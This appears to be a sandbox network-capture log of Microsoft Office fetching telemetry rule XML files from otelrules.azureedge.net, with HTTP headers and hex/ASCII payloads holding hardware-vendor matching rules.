2024-11-30 08:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:01 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084501Z-174f7845968ljs8phC1EWRe6en0000001110000000004t4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:02 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084504Z-174f7845968cpnpfhC1EWR3afc00000010y0000000000962 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:03 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 957c193a-901e-008f-36b3-4267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084504Z-174f7845968ljs8phC1EWRe6en00000010z00000000082dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 8778ab85-f01e-0071-75e9-41431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084504Z-174f78459685726chC1EWRsnbg000000116g00000000659m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:04 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6e10d19a-c01e-008e-0747-417381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084504Z-174f7845968px8v7hC1EWR08ng00000011f0000000003qdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:04 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 8339b61c-e01e-00aa-5413-42ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084504Z-174f7845968kvnqxhC1EWRmf3g0000000n10000000003dhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:06 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d85cda50-501e-000a-581c-410180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084506Z-174f7845968cdxdrhC1EWRg0en0000001140000000005rgb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:06 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:06 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:06 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e1f54f45-601e-0097-18a1-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084506Z-174f78459685726chC1EWRsnbg0000001150000000008n7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:06 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:06 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 738c1948-001e-0082-4aa8-425880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084506Z-174f78459684db9fhC1EWRc7g40000000170000000003tzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:06 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084506Z-174f7845968zgtf6hC1EWRqd8s0000000u3g000000006ftw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:06 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084506Z-174f7845968qj8jrhC1EWRh41s0000001120000000007q8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:08 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084508Z-174f7845968nxc96hC1EWRspw800000011100000000011p2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
